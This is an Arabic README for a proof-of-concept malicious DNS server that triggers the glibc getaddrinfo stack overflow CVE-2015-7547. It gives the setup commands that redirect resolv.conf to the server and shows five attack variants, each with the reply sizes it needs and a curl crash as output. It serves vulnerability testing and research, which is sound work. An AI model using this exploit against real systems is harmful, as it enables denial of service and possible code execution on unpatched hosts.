
خادم هجوم PoC لثغرة تجاوز سعة المخزن المؤقت CVE-2015-7547 في محلل البادئ DNS لنظام glibc (النسخة العامة)
للاختبار على جهاز محلي بإصدار glibc ضعيف:
user@localhost:/$ echo 'nameserver 127.0.0.127' | sudo tee /etc/resolv.conf
user@localhost:/$ echo 'nameserver 127.0.0.127' | sudo tee -a /etc/resolv.conf
user@localhost:/$ sudo python3 attack-server.py 127.0.0.127
Starting UDP server on 127.0.0.127:53...
Starting TCP server on 127.0.0.127:53...
ثم، من جلسة طرفية أخرى، قم بتنفيذ الهجمات كما هو موضح في الأمثلة أدناه.
يتطلب القدرة على إرسال ردود > 2048 بايت عبر UDP و TCP.
تسلسل الهجوم:
مثال:
user@localhost:/$ curl http://attack1
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
يتطلب القدرة على إرسال ردود > 2048 بايت عبر UDP.
تسلسل الهجوم:
مثال:
user@localhost:/$ curl http://attack2
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
يتطلب القدرة على إرسال ردود > 1024 بايت عبر UDP و > 2048 بايت عبر TCP.
تسلسل الهجوم:
مثال:
user@localhost:/$ curl http://attack3
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
يتطلب القدرة على إرسال ردود > 2048 بايت عبر UDP.
تسلسل الهجوم:
مثال:
user@localhost:/$ curl http://attack4
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
يتطلب القدرة على إرسال ردود > 2048 بايت عبر TCP وإدخالين على الأقل لخادم الأسماء في /etc/resolv.conf.
تسلسل الهجوم:
مثال:
user@localhost:/$ curl http://attack5
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
لتشغيل رد نوع A/AAAA صالح بحجم معين من الخادم، أرسل طلبًا لأحد ما يلي:
يمكن إصدار الطلبات عبر UDP أو TCP، وستحتوي الردود على العدد المناسب من إجابات A أو AAAA الصالحة لتمهيد الرد إلى الحجم المطلوب. عندما يتم إعداد خادم PoC كخادم أسماء موثوق لمجال اختبار، فإن هذا يسمح باستكشاف سلوك التسلسلات الهرمية لذاكرة التخزين المؤقت لـ DNS عند مواجهة ردود كبيرة الحجم.
مثال:
user@localhost:/$ curl http://payload1.somedomain.com